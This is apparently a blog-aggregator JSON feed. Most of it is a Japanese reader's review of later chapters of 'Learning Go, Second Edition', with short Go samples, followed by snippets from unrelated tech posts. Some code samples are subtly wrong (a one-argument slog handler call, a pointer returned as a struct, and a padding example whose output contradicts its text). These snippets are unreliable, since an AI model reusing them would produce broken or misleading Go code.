APIを並行に呼び出す処理を、わずか100行程度の読みやすいコードで実現できることはめちゃくちゃメリットだと思います。練習問題では、goroutineとchannelを使った基本的な並行処理プログラムから、selectやsync.WaitGroupを使ったより複雑な処理まで、幅広い題材が扱われていました。自分で実際にコードを書いて試すことで、並行処理の基本的なパターンが身についたと実感しています。github.comこの章を通して、Go言語の並行処理モデルの優れた設計思想と、それを適切に使いこなすためのベストプラクティスについて深く理解することができました。goroutineとchannelを中心とするシンプルな仕組みの中に、デッドロックを防ぎつつ安全に並行処理を行うための知恵が詰まっていることを実感しました。一方で、並行処理の適用は慎重に検討すべきであり、安易に使うとかえって複雑さを増してしまうことも学びました。並行処理はあくまでツールであり、ボトルネックの特定と適切な設計が何より重要だというのは、肝に銘じるべき教訓だと感じました。特に、現実のシステム開発においては、並行処理とエラーハンドリング、リソース管理などを総合的に考える必要があります。goroutineのリークを防ぎ、適切にリソースを解放する方法や、mutexとchannelの使い分け方など、実践的なスキルを再確認できたのは良かったです。私自身、普段からGoを使った並行処理プログラムを書くことが多いのですが、この章で得た知見を活かして、より堅牢で効率的なコードを書けるようになりたいと思います。特に、contextパッケージを活用したgoroutineのキャンセル処理や、バッファ付きチャネルを使ったバックプレッシャーの実装などは、実際のプロジェクトですぐにでも試してみたいテクニックです。並行処理はGoの最も強力な武器の一つですが、それを適切に使いこなすためには、深い理解と経験が必要不可欠です。この章で学んだ基本的な概念と、数多くのベストプラクティスを、自分の経験として血肉化していくことが、Goのプロフェッショナルとして成長するための鍵になるのだと感じました。Chapter 13. The Standard Library「Chapter 13. The Standard Library」では、Goの標準ライブラリの中でも特に重要なパッケージについて深く掘り下げています。この章を読んで、Goの標準ライブラリがいかにベストプラクティスに基づいて設計されているかを強く実感しました。そこには、他の言語の標準ライブラリにはない優れた設計思想が随所に見られます。印象的だったのは、「io」パッケージの設計です。「io.Reader」と「io.Writer」というシンプルなインターフェースを中心に、様々な入出力処理を抽象化している点は、Goならではの美しい設計だと感じました。この設計のおかげで、ファイルやネットワーク、圧縮、暗号化など、様々な入出力処理を統一的に扱えるようになっています。また、「time」パッケージも非常に使いやすく設計されています。「time.Duration」と「time.Time」という2つの型を中心に、時間関連の処理を直感的に記述できるのは、Goの大きな強みだと思います。特に、モノトニック時間の採用により、リープセカンドなどの影響を受けずに正確な時間計測ができるようになっているのは、システムプログラミングにおいて重要な点だと感じました。「encoding/json」パッケージは、構造体のタグを活用してJSONのエンコーディングとデコーディングを制御できる点が優れています。これにより、JSONのフィールド名と構造体のフィールド名を柔軟にマッピングできるだけでなく、フィールドの省略やデフォルト値の指定なども簡単に行えます。以下のサンプルコードのように、タグを使ってJSONのフィールド名を指定できるのは非常に便利です。type Person struct { Name string `json:\\"name\\"` Age int `json:\\"age\\"`}「net/http」パッケージは、Goの標準ライブラリの中でも特に重要なパッケージの1つです。「http.Handler」インターフェースを中心としたシンプルな設計により、高性能で使いやすいHTTPサーバーとクライアントを簡単に構築できます。また、ミドルウェアのパターンを活用することで、ログ出力やエラーハンドリング、認証、圧縮など、様々な機能を柔軟に追加できる点も優れています。「log/slog」パッケージは、2023年にリリースされたGo 1.21で新たに追加された構造化ロギングのためのパッケージです。従来の「log」パッケージの課題を解決し、より使いやすく、パフォーマンスにも優れた設計になっています。以下のように、ログレベルやコンテキスト、属性などを柔軟に指定できるのが特徴です。logger := slog.New(slog.NewTextHandler(os.Stdout))logger.Info(\\"Hello, World!\\", \\"name\\", \\"Alice\\", \\"age\\", 30)これらの知識を活用して、現在時刻を返すWebサーバーや、ミドルウェアを使ったJSONログ出力、JSONとテキストの切り替えなどを実装する課題が用意されていました。これらの課題に取り組むことで、標準ライブラリの使い方をより深く理解することができました。Goの標準ライブラリがベストプラクティスに基づいて設計されていること、そして後方互換性を尊重しながら進化を続けていることが改めて強調されていました。Goの標準ライブラリは、私たちが日々のプログラミングで参考にすべき優れたお手本だと言えます。個人的な感想としては、Goの標準ライブラリは、シンプルさと実用性のバランスが非常に優れていると感じました。必要十分な機能を提供しながらも、無駄に複雑になることなく、使いやすさを追求しているのが印象的です。特に、インターフェースを活用した抽象化と、具体的な実装の使い分けが絶妙だと思います。また、Goの標準ライブラリは、並行処理やエラーハンドリング、テストなど、現代的なプログラミングに欠かせない要素をしっかりとサポートしているのも大きな特徴だと感じました。これらの機能を標準ライブラリレベルでサポートしているからこそ、Goは大規模なシステム開発に適した言語になっているのだと思います。Chapter 14. The Context「Chapter 14. The Context」は、Go言語プログラミングにおける重要な概念である「コンテキスト」について深く掘り下げた章でした。コンテキストは、リクエストのメタデータを管理し、タイムアウトやキャンセル、値の受け渡しを制御するための強力な仕組みです。この章を通して、コンテキストの適切な使い方とベストプラクティスについて理解を深めることができました。zenn.devGo言語による並行処理にもContext について記載してあるので読んで下さい。learning.oreilly.com著者は、まずコンテキストの基本的な文法と使い方から説明しています。コンテキストは、context.Contextインターフェースを満たす値として表現され、関数の第一引数として明示的に渡すのが慣例です。context.Background関数でルートコンテキストを作成し、そこから子コンテキストを派生させていくのが基本的なパターンだと学びました。HTTPサーバーでコンテキストを使う場合は、http.RequestのContextメソッドとWithContextメソッドを使って、ミドルウェア間でコンテキストを受け渡しするのが適切な方法だと分かりました。ハンドラ関数では、req.Context()でコンテキストを取得し、ビジネスロジックの第一引数として渡すべきだと強調されていました。コンテキストの主な用途の一つが、キャンセル処理だと理解しました。context.WithCancel関数でキャンセル可能なコンテキストを作成し、キャンセル関数を適切にdeferすることで、リソースのリークを防げることが示されていました。Goの標準ライブラリのHTTPクライアントは、コンテキストのキャンセルを尊重して、リクエストを適切に中止してくれるそうです。また、context.WithTimeoutやcontext.WithDeadlineを使えば、コンテキストに時間制限を設定できることも分かりました。これにより、リクエストの処理時間を適切に管理し、サーバーのリソースを公平に配分できるようになります。子コンテキストのタイムアウトは、親コンテキストのタイムアウトに制約されるというルールも重要だと感じました。コンテキストのキャンセル原因を伝えるために、context.WithCancelCauseやcontext.Causeを使う方法も印象的でした。エラーの伝搬と情報の集約に、コンテキストが効果的に活用できることが分かりました。一方で、キャンセル関数の呼び出しを複数回行っても問題ないという点は、意外でした。自作のコードでコンテキストのキャンセルをサポートする場合は、select文でctx.Done()をチェックするパターンと、定期的にcontext.Cause(ctx)をチェックするパターンの2つが紹介されていました。長時間実行される処理では、コンテキストのキャンセルに対応することが重要だと再認識しました。Exercisesでは、これまで学んだコンテキストの知識を活用する問題が用意されていました。ミドルウェアでタイムアウトを設定する課題や、時間制限付きの計算を行う課題、ロギングレベルをコンテキストで制御する課題など、実践的なユースケースが網羅されていたと思います。github.com冒頭でも述べたように、コンテキストはGo言語プログラミングにおける重要な概念です。この章を通して、コンテキストの適切な使い方とベストプラクティスについて体系的に学ぶことができました。特に、キャンセル処理とタイムアウト制御は、サーバーの堅牢性と公平性を確保する上で欠かせない機能だと実感しました。一方で、コンテキストの乱用は、かえってコードの複雑さを増してしまう恐れがあります。コンテキストは、主にリクエストスコープのメタデータを扱うために使うべきで、安易に値の受け渡しに使うのは避けるべきだと強調されていました。この指針は、コンテキストを適切に使いこなす上で重要だと感じました。自作のコードでコンテキストのキャンセルをサポートすることの重要性も再認識できました。特に、select文とctx.Done()を使ったパターンは、Goらしい簡潔で効果的な手法だと感じました。長時間実行される処理では、定期的にコンテキストのキャンセルをチェックすることを習慣づけたいと思います。func longRunningTask(ctx context.Context) error { for { select { case <-ctx.Done(): return ctx.Err() default: // Do some work } }}この章ではGoのコンテキストについて網羅的かつ実践的に学ぶことができました。コンテキストの基本的な使い方から、キャンセル処理、タイムアウト制御、値の受け渡しまで、幅広いトピックが丁寧に解説されていました。Exercisesで提示された問題は、コンテキストの理解を深め、実際のコードに落とし込む力を養うのに役立つ内容でした。コンテキストは、Goのプログラミングスタイルと哲学を体現する重要な機能だと言えます。明示的なデータの受け渡しを重視しつつ、キャンセルとタイムアウトという横断的な関心事をエレガントに扱える点が、Goらしさを感じさせます。一方で、その柔軟性ゆえに、適切に使いこなすには一定の規律と見識が求められます。Chapter 15. Writing Tests「Chapter 15. Writing Tests」は、Goにおけるテストの書き方と品質向上のためのツールについて詳細に解説している章です。この章を読んで、ユニットテストの書き方、テーブルテストの実行、テストのセットアップとティアダウン、HTTPのスタブ化、ファジングテスト、データ競合の検出など、テストに関する多くの知見を得ることができました。また、テストに関しては他の書籍を読んでも良いかもと思いました。【この1冊でよくわかる】ソフトウェアテストの教科書 [増補改訂 第2版]作者:布施 昌弘,江添 智之,永井 努,三堀 雅也SBクリエイティブAmazon特に印象に残ったのは、テーブルテストの実行方法です。テーブルテストを使うことで、同じテストロジックに対して様々なデータパターンを適用することができ、コードの可読性と保守性が向上します。また、並行テストの実行方法も非常に興味深かったです。並行テストを適切に実行することで、テストの実行時間を大幅に短縮できます。ただし、共有される可変状態に依存するテストを並行して実行すると、予期しない結果になる可能性があるため注意が必要です。コードカバレッジの計測も重要なトピックの一つでした。go test -coverを使ってカバレッジを計測し、go tool coverでカバレッジ情報を可視化する方法は、テストの網羅性を確認する上で非常に有用です。ただし、100%のコードカバレッジを達成しても、バグが存在する可能性があることに注意が必要です。ファジングテストは、ランダムなデータを生成してコードに入力し、予期しない入力に対する動作を検証する手法です。ファジングテストを行うことで、開発者が想定していなかったようなコーナーケースのバグを発見することができます。また、データ競合の検出には-raceフラグを使用します。これにより、複数のゴルーチンから同時にアクセスされる変数を特定し、適切なロックを設定することができます。サンプルコードとして、sample_code/adderディレクトリにあるaddNumbers関数のテストコードが示されていました。また、sample_code/tableディレクトリではテーブルテストの例が、sample_code/solverディレクトリではスタブを使ったテストの例が示されていました。これらのサンプルコードは、実際のテストコードを書く際の参考になります。Exercisesでは、Simple Web Appプログラムに対してユニットテストを書き、コードカバレッジを計測することが求められていました。また、データ競合を検出して修正し、parser関数に対してファジングテストを実行することも求められていました。これらの演習を通じて、テストに関する知識を実践的に応用することができます。この章で学んだテストとコード品質向上のためのツールについて総括されていました。次の章では、unsafeパッケージ、リフレクション、cgoなど、Goの一般的なルールを破るような機能について探求していくとのことでした。総括すると、この章ではGoにおけるテストの書き方とコード品質向上のためのツールについて網羅的に解説されていました。ユニットテストの書き方、テーブルテストの実行、並行テストの実行、コードカバレッジの計測、ファジングテスト、データ競合の検出など、テストに関する重要なトピックが幅広くカバーされていました。また、サンプルコードや演習問題も充実しており、実践的な知識を身につけることができる内容でした。Chapter 16. Here Be Dragons: Reflect, Unsafe, and Cgo「Chapter 16. Here Be Dragons: Reflect, Unsafe, and Cgo」を通して、Go言語プログラミングにおいて、安全性と規約を一時的に無視してメモリやデータの細かな操作を行う仕組みであるreflect、unsafe、cgoについて深く理解することができました。これらの機能は、Go言語のセキュリティと型安全性を一時的に破ることから、非常に注意深く扱う必要があります。しかし、特定の場面では威力を発揮するため、適切な活用方法を学ぶことが重要だと感じました。reflectreflectは、Go言語の型システムを動的に操作するための強力な仕組みです。コンパイル時には型が特定できない場合、または外部データを動的にマッピングする必要がある場合などに、reflectを使って型の情報を取得したり、値を設定することができます。reflectで扱う主な概念は「型(reflect.Type)」「種類(reflect.Kind)」「値(reflect.Value)」の3つです。reflectを使えば、構造体のフィールドにアクセスしたり構造体を生成できますが、コーディングが冗長になりがちで、正しい操作を行わないとパニックを起こす可能性があります。そのため、適切なエラーハンドリングと注釈を残すことが重要です。特に、型の種類(reflect.Kind)に応じて、呼び出し可能なメソッドが変わるため、種類をしっかり確認する必要があります。type Foo struct { A int `myTag:\\"value\\"` B string `myTag:\\"value2\\"`}var f Fooft := reflect.TypeOf(f)for i := 0; i < ft.NumField(); i++ { curField := ft.Field(i) fmt.Println(curField.Name, curField.Type.Name(), curField.Tag.Get(\\"myTag\\"))}上記のサンプルコードは、reflectを使って構造体のタグフィールドにアクセスする方法を示しています。このように、reflectは型情報を動的に取得したり、値を設定・生成したりするのに役立ちますが、過度に使い過ぎるとコードの可読性を下げる恐れがあります。reflectを利用する主なユースケースは、データベースやJSONなどの外部データの読み書き、テンプレートエンジンによるデータのレンダリング、型に依存しないソートアルゴリズムの実装などです。Go言語の標準ライブラリでも、これらの用途でreflectが活用されています。一方、reflectを使うと通常の処理に比べてパフォーマンスが大幅に低下するという課題もあります。サンプルコードのベンチマークでは、reflectを使ったフィルタ処理は通常の場合に比べて50~75倍も遅く、多数のメモリ確保を行うことが分かります。BenchmarkFilterReflectString-8 5870 203962 ns/op 46616 B/op 2219 allocs/opBenchmarkFilterGenericString-8 294355 3920 ns/op 16384 B/op 1 allocs/opBenchmarkFilterString-8 302636 3885 ns/op 16384 B/op 1 allocs/opそのため、必要不可欠な場面でのみreflectを使い、通常の処理ではジェネリクスなどの代替手段を使うべきです。ただし、マーシャリング・アンマーシャリングや動的なメモ化などは、reflectを使わざるを得ない場合もあります。このように、Go言語の規約を一時的に無視する仕組みとして、reflectを適切に使いこなすことが重要だと言えます。unsafeunsafeパッケージは、Go言語の型安全性とメモリ安全性をある程度無視して、低水準のメモリ操作を行う仕組みを提供します。主な使用例は、OSとのシステムコール連携や、バイナリデータの高速なマーシャリング・アンマーシャリングなどです。内部で扱われるデータ型はunsafe.Pointerで、任意のポインタ型やuintptrとの相互キャストが可能です。メモリのレイアウトを調べるためのunsafe.Sizeofとunsafe.Offsetof関数があり、構造体フィールドの並び替えによるメモリ使用量の最適化などに役立ちます。type BoolInt struct { b bool i int64}type IntBool struct { i int64 b bool}fmt.Println(unsafe.Sizeof(BoolInt{}), unsafe.Offsetof(BoolInt{}.b), unsafe.Offsetof(BoolInt{}.i))// Output: 16 0 8 fmt.Println(unsafe.Sizeof(IntBool{}), unsafe.Offsetof(IntBool{}.i), unsafe.Offsetof(IntBool{}.b))// Output: 16 0 8上記のサンプルコードでは、構造体の並び方によってメモリのパディングが変わり、全体のサイズが変化することが分かります。このように、unsafeパッケージを使えば、メモリのレイアウトを細かく制御できます。さらに、unsafeを使えば、バイナリデータをスムーズに構造体へマッピングすることも可能です。func DataFromBytesUnsafe(b [16]byte) Data { data := (*Data)(unsafe.Pointer(&b)) if isLE { data.Value = bits.ReverseBytes32(data.Value) } return data}このコードは、バイト配列をunsafe.Pointerでキャストし、最終的に構造体へマッピングしています。パフォーマンス的には、unsafeを使ったバイト配列から構造体へのマッピングは、安全な手法に比べて2〜2.5倍程度高速だと言われています。BenchmarkDataFromBytes-8 538443861 2.186 ns/op 0 B/op 0 allocs/opBenchmarkDataFromBytesUnsafe-8 1000000000 1.160 ns/op 0 B/op 0 allocs/opただし、unsafeの濫用は危険を伴うため、必要最小限の使用に留める必要があります。Go言語のセキュリティモデルを部分的に無視する代わりに、そのパフォーマンスメリットを手に入れるかどうかは、用途次第です。通常のプログラミングでは、安全な手法を使うことがベストプラクティスです。また、unsafeを使う際は、ランタイムフラグ -gcflags=-d=checkptrを付けてポインタの不適切な使用をチェックすることが推奨されています。ドキュメントの注意事項にあるとおり、正しく使えば高速で強力なコードを書けますが、間違った使い方をすると簡単にセキュリティホールを作ってしまう可能性もあるため、unsafeの適切な使用には熟達した技術が求められます。cgo最後に、cgoについてですが、これはGo言語とCコードを連携する仕組みです。CコードをC拡張構文のコメント中に直接記述したり、関数の宣言をコメントに記述して外部のCコード中の関数をリンクしたりできます。Go関数をCコードにエクスポートすることも可能です。/*#include int add(int a, int b) { int sum = a + b; printf(\\"a: %d, b: %d, sum %d\\\\n\\", a, b, sum); return sum;}*/import \\"C\\"func main() { sum := C.add(3, 2) fmt.Println(sum) // Output: 5 fmt.Println(C.sqrt(100)) // Output: 10}cgoは、OSのシステムコールへアクセスしたり、既存のCライブラリを活用したりするのに便利です。ただし、Go言語がGCで自動メモリ管理しているのに対し、Cコードではメモリ解放を手動で行う必要があるため、ポインタの扱いには注意が必要です。Go側の変数をCコードに渡す際は、cgo.HandleでラップしてCコードに安全に渡す必要があります。p := Person{Name: \\"Jon\\", Age: 21}C.in_c(C.uintptr_t(cgo.NewHandle(p)))このように、cgoを使うと、Go言語の安全性とCコードの低レイヤー制御が両立できます。ただし、その実行コストは約40nsと高く、基本的にはパフォーマンス向上のためというよりは、既存のCライブラリ活用のために使われることが多いようです。パフォーマンス向上のためだけにはあまりメリットがない上、ポインタの危険な操作が必要になるため、cgoは「cgo is not Go」と言われています。そのため、自前でCラッピングを書く前に、サードパーティ製のGoラッパーを探すことが推奨されています。また、設計やメモリモデルの違いから、cgoの使用は避けられない場合に限り、それでもできるだけコア部分は安全なGoコードで書くべきだとされています。この章では、Go言語のセキュリティや規約を部分的に無視するreflect、unsafe、cgoについて詳しく学びました。これらの機能は、強力な反面で危険が伴うため、一定の知識と経験が必要とされます。特に、reflectは外部データのマッピングや標準ライブラリの一部の処理に必要不可欠ですが、パフォーマンスの低下が避けられません。unsafeはメモリレイアウトの制御や高速なデータマーシャリングに使えますが、安全性を無視する代わりのメリットが必要です。cgoは既存のCライブラリをラッピングする手段ですが、実行コストが高い上に設計の違いからGoの規約を完全に守ることができません。つまり、これらは例外的な処理を行うための機能であり、通常の処理ではなるべく使わず、代わりにジェネリクスなどの安全な手段を活用するのがベストプラクティスだと言えます。Go言語の利点は、まさにその規約とセキュリティにあるためです。ただし、一方でそれらを無視する機能さえも用意されていることで、Go言語はかえって強力で柔軟な言語になっていると言えるでしょう。Exercisesでは、構造体のバリデーションやメモリレイアウトの最適化、CコードのラッピングなどGoの規約を一時的に無視する練習問題が用意されていました。Wrapping Upでは、Go言語の安全性は基本原則ですが、例外的に規約を無視することで強力で柔軟な機能が提供されていると総括されていました。つまり、これらの高度な機能は「ツール」に過ぎず、適切な使い分けが重要なのです。Go言語は、基本的にはシンプルで規約に従うことで、保守性の高いソフトウェアを作ることを目指しています。一方で、状況次第では規約を一時的に無視して高度な操作を行う必要が出てくる場合もあります。そういった際にこそ、reflect、unsafe、cgoといった高度な機能が役立つのです。これらは、Go言語の最も興味深い部分の1つと言えるでしょう。しかし同時に、これらの機能の濫用はセキュリティホールやバグにつながりかねません。そのため、十分な理解とコントロールが求められます。Go言語のセキュリティやベストプラクティスに反するような例外的な処理は、確実に必要な場面でのみ、そして最小限に留めるべきです。Go言語では、規約に従うことで、強固で長期的に保守しやすいソフトウェアを書くことを目指しています。その一方で、例外的な状況においては、reflectやunsafe、cgoなどの例外的な仕組みを適切に使いこなすスキルも要求されます。つまり、Go言語では一般的なユースケースでは退屈で規約に従うことを推奨しつつ、特殊なケースでは必要最小限の例外を認める、そんな設計思想が貫かれていると言えるのです。今後50年のコンピューティングを支えるソフトウェアを作り上げていく上で、この思想を体現するスキルが求められるでしょう。おわりにここ間違っているとかあればDMください。本書「Learning Go Second Edition」を通して、Go言語プログラミングについて体系的かつ実践的に学ぶことができました。Goのシンプルさと実用性を重視する設計思想、並行処理やエラーハンドリング、テストなどの実践的な要素に言語レベルでサポートされている点が特に印象的でした。一方で、Goのシンプルさは時として制約にもなり得ます。Goの設計思想を理解し、適材適所で機能を使い分けて周知していくことが大事だと思いました。サンプルコードと練習問題を通して、学んだ概念を実際のコードに落とし込み、体験的に理解を更に深めることができました。特に知らなかったことがいくつかあったのと実践的なスキルとして利用したいものがいくつかあったので充分すぎる収穫かと思いました。Goのシンプルさの中に宿る美しさに惹かれ、ベストプラクティスを習慣化し、美しいコードを書けるようになりたいと思いました。並行処理とエラーハンドリングは、Goプログラミングの醍醐味だと感じています。モジュールシステムとテストの重要性についても再認識できました。Goのシンプルで実用的な設計思想を自分の糧として、プログラマとしてのマインドセットを磨いていきたいと思います。**","link":"https://syu-m-5151.hatenablog.com/entry/2024/06/19/154201","isoDate":"2024-06-19T06:42:01.000Z","dateMiliSeconds":1718779321000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"[Kubecon EU 2024: Cloud Native AI Day]Reducing Cross-Zone Egress at Spotify with Custom gRPC Load Balancing のご紹介","contentSnippet":"はじめに こんにちは、Sreake事業部の永瀬滉平です! 今回はKubeCon EU 2024に参加してきましたので、中でも気になったセッションをピックアップしてご紹介したいと思います。 セッションについて 取り上げるセ […]The post [Kubecon EU 2024: Cloud Native AI Day]Reducing Cross-Zone Egress at Spotify with Custom gRPC Load Balancing のご紹介 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/kubecon-eu-2024-cloud-native-ai-dayreducing-cross-zone-egress-at-spotify-with-custom-grpc-load-balancing/","isoDate":"2024-06-19T01:18:15.000Z","dateMiliSeconds":1718759895000,"authorName":"Sreake","authorId":"Sreake"},{"title":"KubernetesにおけるCELの記述方法まとめ","contentSnippet":"はじめに Kubernetes 1.30でValidating Admission Policyの機能がGAするなど、開発中の新機能にCELが組み込まれるケースが増えています。今後Kubernetesで使われる機会が増え […]The post KubernetesにおけるCELの記述方法まとめ first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/kubernetes-cel-description/","isoDate":"2024-06-12T03:33:38.000Z","dateMiliSeconds":1718163218000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Vimのj/kを加速させるサブモード","contentSnippet":"Vim駅伝の2024/6/12の記事です。Vimmerならついなんとはなしにj/kしちゃうこともありますし、とか使いなよと分かってても長距離j/kしちゃうこともありますよね。ryhsd/accelerated-jkがあります。","link":"https://blog.atusy.net/2024/06/12/vim-submode-jjjj/","isoDate":"2024-06-12T00:00:00.000Z","dateMiliSeconds":1718150400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Google CloudのRapid evaluation APIを利用したLLMの評価手法","contentSnippet":"1. はじめに はじめまして、Sreake事業部の井上 秀一です。私はSreake事業部にて、SREや生成AIに関するResearch & Developmentを行っています。 本記事では、LLMの評価手法とし […]The post Google CloudのRapid evaluation APIを利用したLLMの評価手法 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/google-cloud-rapid-evaluation-api-verification/","isoDate":"2024-06-10T09:31:15.000Z","dateMiliSeconds":1718011875000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Google Cloud主催パートナー向けイベントで「Google Cloud で利用できるRDBのベクトル検索を徹底解剖!」を話しました。","contentSnippet":"2024年6月5日にGoogle Cloudがパートナー向けに開催したデータ関連の非公開イベントで「Google Cloud で利用できるRDBのベクトル検索を徹底解剖!」というLTを話しました。https://speakerdeck.com/nnaka2992/google-cloud-deli-yong-dekirurdbnobekutorujian-suo-woche-di-jie-pou非公開イベントのため録画がなかったり、LT枠だった関係で省略してしまった部分があったりしたためブログでより詳細な説明資料のようなものを書きました。 背景Google Cloudが提供する...","link":"https://zenn.dev/nnaka2992/articles/compare_vector_searches_on_google_clouds_rdb","isoDate":"2024-06-09T22:00:00.000Z","dateMiliSeconds":1717970400000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"k6導入 ~ k6 browserでE2Eテストまでにやってきたことのまとめ","contentSnippet":"はじめにzenn初めてみました✋スカイウイルでインフラエンジニアをしております。案件でk6の調査/実装をする機会があったのでまとめてみました。中でもk6 browserは実験的なモジュールということもあってか関連する記事が少ないため、今回の記事が役に立てればと思います。 k6とはパフォーマンステストおよび負荷テストのためのオープンソースツールであり、Webアプリのパフォーマンスを評価するために利用できます。https://k6.io/docs/以下のような特徴があります並列実行が可能JavaScriptでテストシナリオを記述CLI外部統合の容易さグラフ...","link":"https://zenn.dev/melanmeg/articles/78df5703c9da2b","isoDate":"2024-06-09T06:20:45.000Z","dateMiliSeconds":1717914045000,"authorName":"Naoya Yamamoto","authorId":"melanmeg"},{"title":"オブザーバビリティ再入門みたいなイベントで登壇しました。再入門だけが創造的な勉強会みたいな主張をした。 #o11y_mackerel","contentSnippet":"はじめに先日、taxin_ttさんからダイレクトメッセージで、「オブザーバビリティ再入門」というイベントで登壇し、イベントのテーマが「再入門」ということで、オブザーバビリティについて改めて基本的な概念から説明するようにとの依頼をいただきました。mackerelio.connpass.com「再入門」というテーマを聞いたとき、正直なところ少し悩みました。オブザーバビリティは近年注目を集めているトピックであり、既に多くの人が資料を作って登壇されており参加者も基本的な知識を持っているはずです()。そんな中で、「再入門」として何を話せばよいのか、どのようにアプローチすればよいのか、考えを巡らせました。再読だけが創造的な読書術である (単行本)作者:永田 希筑摩書房Amazonそこで、私は「可観測性とは」「可観測性と監視の違い」「可観測性の導入と抵抗」の3つのトピックを中心に話すことにしました。これらのトピックを通して、オブザーバビリティの基本的な概念や重要性について、わかりやすい言葉で説明することを心がけました。また、非技術者への説明時に再利用しやすいよう、平易な表現を用いています。聴衆の皆さんが、オブザーバビリティについて改めて理解を深め、実践につなげるためのヒントを提供できるよう努めました。なぜなら、言語やコミュニケーションは意図のすべてをそのまま表現できるわけではありません。常に受け取り手によって解釈され、解釈されて初めて意味あるものとして伝わるからです。そのため、この再入門を意味あるものだと感じたのなら、それはあなたが準備できていたからだと言えるでしょう。当日まで概要しか知らなかったのですが、登壇者が尊敬しているまさよしさんで、「メトリクス、ログ、トレースをうまく使い分けて可観測性を高めよう!」というタイトルだったので、その辺の話は避けてもよいと思い、OpenTelemetryという単語を一切使わずにこのような内容になりました。めちゃくちゃに良い資料なので読んでほしいです。「変化を嫌う人」を動かす:魅力的な提案が受け入れられない4つの理由作者:ロレン・ノードグレン,デイヴィッド・ションタル,船木 謙一(監修)草思社Amazon登壇資料本資料がどんな資料かというと、 speakerdeck.com可観測性(Observability)について以下のようにまとめている。可観測性とは、システムの外部から観測できる情報に基づいて内部状態を推論・理解する能力のことであり、特にマイクロサービスアーキテクチャでは、複数の信号源からの情報を相関させ、サービスを横断するリクエストを追跡できる可観測性が不可欠である。可観測性の主要なシグナルとしては、メトリクス、ログ、トレースの3つがあり、可観測性と監視の違いは、監視が既知の未知(Known unknow)に対応するのに対し、可観測性は未知の未知(Unknow unknow)に対応する点である。何かを導入する時には、変化への抵抗が伴うことが多く、抵抗の主な要因として、惰性、労力、感情、心理的反発の4つがある。可観測性導入の成功のためには、技術的・人的側面に配慮し、エンジニアや組織全体の心理的抵抗に対処することが重要であり、継続的なコミュニケーションと小さな成功体験で支持を得ることが有効である。可観測性導入は組織的な変革であり、エンジニアリング文化や考え方の変革が必要で、エンジニアの自発的な活用と組織全体の支援が重要である。みたいなことを生成AIを通すと言われたのでそんなことを言われたのでそんな感じの資料です。きょーさんに毎回のようにレビューしていただきました。当日の雰囲気Youtube緊張してアルコールを飲んだ。www.youtube.comXでの投稿まとめまとめを作ってくれる人はいつの時代も偉大である。ありがとうございます。togetter.com参考資料Observability Whitepaperオブザーバビリティ入門:これから始める方への基本コンセプトとツールPractical MonitoringCloud Observability in ActionObservability EngineeringopenobserveObservability with Grafana【2024年度 サイバーエージェント 新卒研修】システム運用の基本と戦略オブザーバビリティ研修実践編オブザーバビリティ入門勘に頼らず原因を⾒つけるためのオブザーバビリティログから始めるオブザーバビリティフロントエンドにおけるObservabilityObservabilityについてOpenTelemetry実践 はじめの一歩分散トレーシングとOpenTelemetryのススメ / Getting started distributed tracing and OpenTelemetry仕様と実装で学ぶOpenTelemetry計測の手間を省きたい!OpenTelemetry に見る\\"自動計装\\"のイマPractical MonitoringopenobserveCloud Observability in ActionObservability Engineering「変化を嫌う人」を動かす: 魅力的な提案が受け入れられない4つの理由解像度を上げる \uD83D\uDD2C具体と抽象 世界が変わって見える知性のしくみ「何回説明しても伝わらない」はなぜ起こるのか? 認知科学が教えるコミュニケーションの本質と解決策他者と働く「わかりあえなさ」から始める組織論","link":"https://syu-m-5151.hatenablog.com/entry/2024/06/06/131051","isoDate":"2024-06-06T04:10:51.000Z","dateMiliSeconds":1717647051000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"可観測性ガイダンス","contentSnippet":"可観測性ガイダンスというタイトルで登壇してきました。\\r\\rイベント名: オブザーバビリティ再入門 - 大切さと高め方を知ろう!\\rイベントURL: https://mackerelio.connpass.com/event/316449/\\r\\r\\r# ブログでいくつかの可観測性に関する書籍のまとめを投稿しました。\\r5年後には標準になっている可観測性のこと - Learning Opentelemetry の読書感想文\\rhttps://syu-m-5151.hatenablog.com/entry/2024/04/16/180511\\r\\rもう一度読むObservability Engineering\\rhttps://syu-m-5151.hatenablog.com/entry/2024/05/06/090014\\r\\r盲目的に始めないためのオブザーバビリティ実践ガイド - Cloud Observability in Actionの読書感想文\\rhttps://syu-m-5151.hatenablog.com/entry/2024/05/10/121047","link":"https://speakerdeck.com/nwiizo/ke-guan-ce-xing-kaitansu","isoDate":"2024-06-04T04:00:00.000Z","dateMiliSeconds":1717473600000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"SREに求められるスキルと心構え","contentSnippet":"はじめに こんにちは、最近の私の人生はキックボクシングとコーディングの2つの活動に極端に偏りつつあります。nwiizoです。一見正反対のようなこの2つの活動ですが、共通する本質があります。それは、頭で考えるだけでなく、実 […]The post SREに求められるスキルと心構え first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/sre-required-skills-and-mindset/","isoDate":"2024-06-03T01:56:04.000Z","dateMiliSeconds":1717379764000,"authorName":"Sreake","authorId":"Sreake"},{"title":"gh searchでOSS貢献を振り替える","contentSnippet":"ghコマンド、ベンリですね。こんな感じで、公開レポジトリに作ったPRの内、マージされたものを一発で集計できちゃいます。今のところ、59レポジトリに167PRをマージしてもらったみたいです。","link":"https://blog.atusy.net/2024/06/03/gh-search-merged-prs/","isoDate":"2024-06-03T00:00:00.000Z","dateMiliSeconds":1717372800000,"authorName":"Atsushi 